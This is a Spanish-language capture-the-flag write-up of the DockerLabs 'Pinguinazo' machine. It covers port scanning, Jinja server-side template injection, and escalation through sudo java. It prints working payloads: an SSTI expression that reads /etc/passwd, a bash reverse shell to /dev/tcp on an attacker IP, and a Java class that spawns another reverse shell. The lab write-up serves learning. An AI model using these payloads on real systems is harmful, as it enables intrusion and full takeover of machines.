Post

Pinguinazo , DockerLabs

logodocker

En este reto de DockerLabs encontramos con escaneo de puertos para buscar una entrada al sistema,un server side template inyection , revshell y escalada.

Herramientas y recursos usados

Enumeracion

Empezamos lanzando un nmap contra el objetivo .

1
nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX pinguinazo 172.17.0.2  

Reporte nmap

Podemos ver claramente la version que corre y el puerto por el que tenemos acceso al werkzeug 3.1 Revisamos la web y el titulo nos confirma esta creada con flask y por lo general flask usa el motor de plantillas jinja.”Django tambien lo usa”. Solo teniendo eso al alcanze hay que ver que vulberabilidad podria tener. Yo me volvi loco buscando como explotar eso estuve intentando quebrar el pin de la consola para tener acceso pero sin resultado dado que se necesitan recuperar varios datos del server y en esta version creo que es imposible de obtenerlos.

console

Haber si hay suerte y mario nos arma una con esa vulnerabilidad, que quede con las ganas de aprenderla.

Por tanto tiene que ser mas sencillo, pruebo a inyectar codigo html.

inyecthtml

Si se ha tragado el html podriamos probar a inyectar otro tipo de payload que no solo lo interprete si no que ejecute codigo , para ello probamos con un ssti dado que la info info obtenida de google nos dice que podria ser vulnerable.

Comprobamos con una divison contra 0 y vemos que nos da error por tanto tenemos un ssti y podrmos lanzarnos una revshell desde ahi mismo.

error

Podriamos leer ficheros pero teniendo solo el puerto 5000 abierto no nos sera de utilidad asi que nos mandamos un revshell.

Lectura de ficheros ejemplo.

{{config.class.init.globals[‘os’].popen(‘cat /etc/passwd’).read()}}

passwd

Explotacion e infiltracion

Lanzando revshell , como siempre primero a la escucha con nc.

Yo me he creado un fichero html em mi maquina atacante con el contendio para mandarme una revshell despues lo pipeo a bash para que lo ejecute el server.

Contenido del archivo html.

1
bash -c 'exec bash -i &>/dev/tcp/192.168.0.112/443 <&1'

Levantamos un server con python3 y lanzamos la orden desde la web.

web

revshell

Ya estamos dentro de la maquina.

Escalada

Yo como siempre empiezo con sudo -l.

java

Me toca buscar en la web porque nunca he realizado la escalada con java asi que al lio.

Debemos de crear un fichero java con el contenido que creamos oportuno y lo ejecutamos con sudo.

En este caso creamos un revshell

1
2
3
4
5
6
7
8
9
10
public class shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.0.112/9001 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}

Creamos el fichero con el contenido correcto yo lo llamo revshell.java y posteriormente ejecuto java con sudo llamando al script recien creado.

ejecucion

root

Hasta aqui el pinguinazo que me volvio loco …….

Gracias por leer.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.